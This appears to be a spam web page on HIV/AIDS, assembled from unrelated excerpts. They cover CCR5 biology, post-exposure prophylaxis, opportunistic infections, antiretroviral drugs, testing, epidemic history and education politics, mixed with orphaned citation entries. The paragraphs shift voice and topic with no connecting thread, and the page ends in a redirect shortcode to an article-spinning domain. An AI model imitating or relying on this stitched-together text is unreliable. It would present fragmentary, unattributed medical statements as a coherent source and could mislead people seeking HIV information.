Prejean J, Song R, Hernandez A, Ziebell R, Green T, Walker F, et al. Estimated HIV incidence in the United States, 2006–2009. HIV Incidence Surveillance Group. PLoS One 2011;6:e17502. [PubMed] [Full Text] ⇦
These results provide a dramatic confirmation of experimental work suggesting that CCR5 is the major macrophage and T-lymphocyte co-receptor used by HIV to establish primary infection in vivo, and offers the possibility that primary infection might be blocked by therapeutic antagonists of the CCR5 receptor. Indeed, there is preliminary evidence that low molecular weight inhibitors of this receptor can block infection of macrophages by HIV in vitro. Such low molecular weight inhibitors might be the precursors of useful drugs that could be taken by mouth. Such drugs are very unlikely to provide complete protection against infection, as a very small number of individuals who are homozygous for the nonfunctional variant of CCR5 are infected with HIV. These individuals seem to have suffered from primary infection by CXCR4-using strains of the virus.
Because human immunodeficiency virus (HIV) infection is incurable, preventing HIV transmission is paramount. Exposure to HIV can occur by percutaneous, mucous membrane or non-intact skin exposure to infected blood or body fluids. It can also occur by sexual contact, trauma or needle sharing. Postexposure prophylaxis (PEP) is one method of preventing HIV transmission. PEP is the provision of antiretroviral therapy (ART) to HIV-negative persons exposed to infected materials. It should be emphasized that PEP should not replace standard infection control measures and behavioral practices that best prevent HIV exposure.
Latent toxoplasmosis: This asymptomatic condition is indicated by serum antibodies (IgG) to Toxoplasma gondii. TMP/SMX (in doses used to prevent P. jirovecii pneumonia) is used to prevent reactivation and consequent toxoplasmic encephalitis. Latent infection is less common (about 15% of adults) in the US than in Europe and most developing countries (up to 70 to 80% of adults).
Tuberculosis co-infection is one of the leading causes of sickness and death in those with HIV/AIDS being present in a third of all HIV-infected people and causing 25% of HIV-related deaths. HIV is also one of the most important risk factors for tuberculosis. Hepatitis C is another very common co-infection where each disease increases the progression of the other. The two most common cancers associated with HIV/AIDS are Kaposi’s sarcoma and AIDS-related non-Hodgkin’s lymphoma. Other cancers that are more frequent include anal cancer, Burkitt’s lymphoma, primary central nervous system lymphoma, and cervical cancer.
Jump up ^ Templeton, DJ; Millett, GA; Grulich, AE (February 2010). “Male circumcision to reduce the risk of HIV and sexually transmitted infections among men who have sex with men”. Current Opinion in Infectious Diseases. 23 (1): 45–52. doi:10.1097/QCO.0b013e328334e54d. PMID 19935420.
The training and qualifications of providers treating patients with HIV/AIDS is very important. But equally important is an understanding of the impact of numbers of patients treated by providers on key medical outcomes (e.g. viral load measures, mortality, the receipt of anti‐retroviral medications, opportunistic infection (OI) prophylaxis as well as economic outcomes such as health care utilization or patient costs) in the care of persons living with HIV/AIDS. This systematic review examined studies from 1980‐2009 that identified both provider experience/qualifications as well as a volumes indicator (number of HIV/AIDS patients). Only four studies met the inclusion criteria for the final review. Given the varied methods of each study, a meta‐analysis was not possible.
In addition to the concern for new opportunistic infections, pre-existing infections can reactivate and cause significant disease in people with AIDS. The most important example on a global scale is that of tuberculosis, as reactivated tuberculosis can cause symptomatic disease with lower levels of reactivation.
Cellular immune response to HIV. The cellular immune response is induced upon the entry of HIV into the target cells (e.g., T cells) and synthesis of viral proteins (Figure 1). MHC class I on the cell surface displays the intracellularly degraded HIV peptide fragments for recognition by T-cell receptors (TCR) on CD8+ T cells (Figure 3). CD8+ T cells lyse HIV infected cells and secrete cytokines, i.e. interferon-γ (IFN-γ), tumor necrosis factor α (TNF-α), and chemokines, i.e. MIP-1 α, MIP β and RANTES, that inhibit virus replication and block viral entry into CD4+ T cells. Development of CD8+ T cells is crucial for control of HIV replication. This results in declining viraemia after primary infection. In the early stages infection, CD4+ T cells lose their proliferative capacity and therefore their contribution to viral control is minor. However, during chronic infection CD4+T cells are present and secrete interleukin-2 (IL-2) or cytokines, such as IFN-γ, to control viraemia.
HIV attacks and destroys the infection-fighting CD4 cells of the immune system. The loss of CD4 cells makes it difficult for the body to fight infections and certain cancers. Without treatment, HIV can gradually destroy the immune system and advance to AIDS.
Zoufaly A, an der Heiden M, Kollan C, et al. Clinical outcome of HIV-infected patients with discordant virological and immunological response to antiretroviral therapy. J Infect Dis. 2011 Feb 1. 203(3):364-71. [Medline]. [Full Text].
Protease inhibitors (PIs) interrupt virus replication at a later step in the HIV life cycle, preventing cells from producing new viruses. Currently, these include ritonavir (Norvir), darunavir (Prezista), and atazanavir (Reyataz). Using PIs with NRTIs reduces the chances that the virus will become resistant to medications. Atazanavir and darunavir are available in combination with cobicistat as atazanavir/cobicistat (Evotaz) and darunavir/cobicistat (Prezcobix). Cobicistat and ritonavir inhibit the breakdown of other drugs, so they are used as boosters to reduce the number of pills needed.
The main treatment for HIV is antiretroviral therapy (ART), a combination of daily medications that stop the virus from reproducing. This helps protect your CD4 cells, keeping your immune system strong enough to fight off disease.
Jump up ^ Friedman-Kien AE (October 1981). “Disseminated Kaposi’s sarcoma syndrome in young homosexual men”. Journal of the American Academy of Dermatology. 5 (4): 468–71. doi:10.1016/S0190-9622(81)80010-2. PMID 7287964.
Full blood count: This is a test to check on the levels of white blood cells, red blood cells, platelets and haemoglobins in your blood. This test needs to be done before and regularly after treatment to check for anaemia (reduced blood haemoglobin) and reduction of other blood cells.
Jump up ^ Koot M, van ‘t Wout AB, Kootstra NA, de Goede RE, Tersmette M, Schuitemaker H (1996). “Relation between changes in cellular load, evolution of viral phenotype, and the clonal composition of virus populations in the course of human immunodeficiency virus type 1 infection”. The Journal of Infectious Diseases. 173 (2): 349–54. doi:10.1093/infdis/173.2.349. PMID 8568295.
Initially, some researchers referred to the syndrome as gay-related immune deficiency (GRID), since it appeared to be limited to homosexuals. In the media the disease commonly was referred to as the “gay plague.” But the disease had also been detected in intravenous drug users, who became infected mainly by sharing contaminated hypodermic needles. It also had been observed in women with male sexual partners. As a result, the term acquired immunodeficiency syndrome, or AIDS, was introduced to describe the disease; the CDC published its first report using the term in 1982.
The ‘N’ stands for “non-M, non-O”. This group was discovered by a Franco-Cameroonia team in 1998, when they identified and isolated the HIV-1 variant strain, YBF380, from a Cameroonian woman who died of AIDS in 1995. When tested, the YBF380 variant reacted with an envelope antigen from SIVcpz rather than with those of Group M or Group O, indicating it was indeed a novel strain of HIV-1. As of 2015, less than 20 Group N infections have been recorded.
Problems surrounding AIDS education are unlikely to go away. Communities frequently disagree on sex education itself, and compromise is often difficult on such a divisive issue of values. As the experience of the Clinton administration suggested, Washington, D.C., could easily exacerbate an already contentious area, with policy coordinators becoming lightning rods for criticism. On the matter of what to say to kids about AIDS, poll data have been misleading. U.S. citizens are of three minds: say a lot, say a little, and do not say what the other side thinks.
The HIV DNA copy is incorporated into the DNA of the infected lymphocyte. The lymphocyte’s own genetic machinery then reproduces (replicates) the HIV. Eventually, the lymphocyte is destroyed. Each infected lymphocyte produces thousands of new viruses, which infect other lymphocytes and destroy them as well. Within a few days or weeks, the blood and genital fluids contain a very large amount of HIV, and the number of CD4+ lymphocytes may be reduced substantially. Because the amount of HIV in blood and genital fluids is so large so soon after HIV infection, newly infected people transmit HIV to other people very easily.
Baseline HIV genotype can be determined using a sample of blood; availability of this testing varies by location. HIV genotyping is used to identify mutations known to cause resistance to certain antiretroviral drugs and to help select a drug regimen likely to be effective for a specific patient with HIV infection.
Other important pathogens include cytomegalovirus, (which causes retinitis, pneumonitis, and colitis) and Pneumocystis jiroveci (formerly known as Pneumocystis carinii; the causative organism in Pneumocystis pneumonia). In immunocompetent hosts, these organisms are generally nonpathogenic, and asymptomatic infection is common (and in the case of cytomegalovirus infection, life-long).
A new (fourth-generation) ELISA test can test for both HIV antibodies and the p24 antigen simultaneously. Thus, people can find out as early as 14 days after being exposed to HIV whether they are infected. However, because this test is expensive and requires special equipment, it is not available at every facility.
Walmsley S, Antela A, Clumeck N, et al. Dolutegravir (DTG; S/GSK1349572) + Abacavir/Lamivudine Once Daily Statistically Superior to Tenofovir/Emtricitabine/Efavirenz: 48-Week Results – SINGLE (ING114467). Abstract presented at: 52nd Interscience Conference on Antimicrobial Agents and Chemotherapy (ICAAC). Sept 2012. Abstract H-556b:
In this era of increasingly effective treatments for HIV, people with HIV are living longer, healthier, and more productive lives. Deaths from HIV infection have greatly declined in the United States since the 1990s. As the number of people living with HIV grows, it will be more important than ever to increase national HIV prevention and health care programs.
Jump up ^ Worobey, Michael; Gemmel, Marlea; Teuwen, Dirk E.; Haselkorn, Tamara; Kunstman, Kevin; Bunce, Michael; Muyembe, Jean-Jacques; Kabongo, Jean-Marie M.; Kalengayi, Raphaël M.; Van Marck, Eric; Gilbert, M. Thomas P.; Wolinsky, Steven M. (2008). “Direct evidence of extensive diversity of HIV-1 in Kinshasa by 1960” (PDF). Nature. 455 (7213): 661–4. Bibcode:2008Natur.455..661W. doi:10.1038/nature07390. PMC 3682493 . PMID 18833279. (subscription required)
The fight against AIDS is following a trajectory similar to that of the fight against many cancers. When I was growing up, in the nineteen-fifties, childhood leukemia was nearly always fatal. Eventually, drugs were developed that drove the cancer into remission for months or years, but it always came back. In the nineteen-seventies, researchers discovered that leukemic cells lay sleeping in the central nervous system, and developed targeted treatments that could eliminate them. Today, childhood leukemia is cured in nine out of ten cases.
Because many patients with AIDS have abnormally low levels of both red and white blood cells, they may be given medications to stimulate blood cell production. Epoetin alfa (erythropoietin) may be given to anemic patients. Patients with low white blood cell counts may be given filgrastim or sargramostim.
Restricting sexual activity to a single partner and practicing safer sex (i.e., always using a condom). Besides avoiding the risk of HIV infection, condoms are successful in reducing other sexually transmitted diseases and unwanted pregnancies. Before engaging in a sexual relationship with someone, getting tested for HIV infection is recommended.
Human immunodeficiency virus often is diagnosed in women during prenatal antibody screening or in conjunction with screening for sexually transmitted diseases (STDs). Because many women initially identified as infected with HIV are not aware that they have been exposed to HIV and do not consider themselves to be at risk, universal testing with patient notification is more effective than targeted, risk-based testing in identifying those who are infected with HIV (4). The tension between competing goals for HIV testing—testing broadly in order to treat the maximum number of women infected with HIV and, if pregnant, to protect their newborns, and counseling thoroughly in order to maximally protect a woman’s autonomy and right to participate in decision making—has sparked considerable debate.
Acquired immune deficiency syndrome (AIDS) is caused by infection with the human immunodeficiency virus (HIV), which destroys a certain type of T lymphocyte, the helper T cell. An infected individual is susceptible to a variety of infectious organisms, including those called opportunistic pathogens, which may live benignly in the…
There is less information on the effectiveness of PEP for people exposed via sexual activity or intravenous drug use — however, if you believe you have been exposed, you should discuss the possibility with a knowledgeable specialist (check local AIDS organizations for the latest information) as soon as possible. All rape victims should be offered PEP and should consider its potential risks and benefits in their particular case.
While sporadic cases of AIDS were documented prior to 1970, available data suggests that the current epidemic started in the mid- to late 1970s. By 1980, HIV may have already spread to five continents (North America, South America, Europe, Africa and Australia). In this period, between 100,000 and 300,000 people could have already been infected.1 [redirect url=’http://penetratearticles.info/bump’ sec=’7′]